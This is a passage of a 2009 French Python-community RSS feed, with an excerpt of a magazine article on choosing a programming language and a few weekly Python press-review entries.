class="pre">technique</span> <span class="pre">qu'humain.</span> <span class="pre">Souvent,</span> <span class="pre">ce</span> <span class="pre">choix</span> <span class="pre">n'est</span> <span class="pre">d'ailleurs</span> <span class="pre">pas</span> <span class="pre">discuté</span> <span class="pre">:</span> <span class="pre">le</span> <span class="pre">langage</span> <span class="pre">est</span> <span class="pre">imposé,</span> <span class="pre">que</span> <span class="pre">ce</span> <span class="pre">soit</span> <span class="pre">par</span> <span class="pre">le</span> <span class="pre">développeur,</span> <span class="pre">le</span> <span class="pre">chef</span> <span class="pre">de</span> <span class="pre">projet,</span> <span class="pre">le</span> <span class="pre">projet</span> <span class="pre">lui-même,</span> <span class="pre">le</span> <span class="pre">client</span> <span class="pre">ou</span> <span class="pre">tout</span> <span class="pre">autre</span> <span class="pre">raison.</span> <span class="pre">Pourtant</span> <span class="pre">ce</span> <span class="pre">choix</span> <span class="pre">mérite</span> <span class="pre">qu'on</span> <span class="pre">s'y</span> <span class="pre">attarde</span> <span class="pre">un</span> <span class="pre">moment,</span> <span class="pre">étant</span> <span class="pre">donné</span> <span class="pre">la</span> <span class="pre">très</span> <span class="pre">grande</span> <span class="pre">diversité</span> <span class="pre">des</span> <span class="pre">langages</span> <span class="pre">existants.</span> <span class="pre">L'évolution</span> <span class="pre">des</span> <span class="pre">langages</span> <span class="pre">suit</span> <span class="pre">des</span> <span class="pre">modes</span> <span class="pre">à</span> <span class="pre">court</span> <span class="pre">terme</span> <span class="pre">et</span> <span class="pre">des</span> <span class="pre">tendances</span> <span class="pre">à</span> <span class="pre">plus</span> <span class="pre">long</span> <span class="pre">terme.</span> <span class="pre">On</span> <span class="pre">peut</span> <span class="pre">établir</span> <span class="pre">des</span> <span class="pre">classements</span> <span class="pre">selon</span> <span class="pre">de</span> <span class="pre">nombreux</span> <span class="pre">critères</span> <span class="pre">comme</span> <span class="pre">la</span> <span class="pre">syntaxe,</span> <span class="pre">le</span> <span class="pre">typage,</span> <span class="pre">le</span> <span class="pre">mode</span> <span class="pre">d'exécution</span> <span class="pre">ou</span> <span class="pre">le</span> <span class="pre">paradigme</span> <span class="pre">de</span> <span class="pre">programmation.</span> <span class="pre">Ces</span> <span class="pre">critères</span> <span class="pre">doivent</span> <span class="pre">vous</span> <span class="pre">guider</span> <span class="pre">lors</span> <span class="pre">de</span> <span class="pre">votre</span> <span class="pre">choix.</span></tt></p>
<p>Je peux pas en mettre plus ici, mais vous pouvez télécharger un PDF (le minimag) qui contient les deux premières pages. Et si vous achetez le magazine, vous découvrirez en troisième page un magnifique classement qui place Python 1er, C++ 2ème et Haskell 3ème ! De quoi s'agit-il ? ;)</p>
<a href="http://www.programmez.com/magazine_articles.php?titre=Developper-avec-quel-langage-&id_article=1287&magazine=124" class="reference external image-reference"><div align="center" class="align-center"><img src="http://ccomb.gorfou.fr/static/choisir_votre_langage.jpg" alt="Article : Choisir votre langage de programmation" class="align-center" /></div>
</a>
</div>]]></description>
    <link><![CDATA[http://ccomb.gorfou.fr/2009/11/16/developper-avec-quel-langage]]></link>
    <pubDate>2009-11-16 09:44:00</pubDate>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 46]]></title>
    <description><![CDATA[funkload, histoire et succès]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-46]]></link>
    <pubDate>2009-11-16 02:22:23</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 45]]></title>
    <description><![CDATA[Unicode, Distribute, Fabric]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-presse-python-semaince-45]]></link>
    <pubDate>2009-11-09 06:04:55</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Revue de presse python semaine 44]]></title>
    <description><![CDATA[Spécial mémoire !! et il ne faut pas la perdre]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/boussard/revue-de-presse-python-semaine-44]]></link>
    <pubDate>2009-11-05 11:14:04</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
</channel>
</rss>

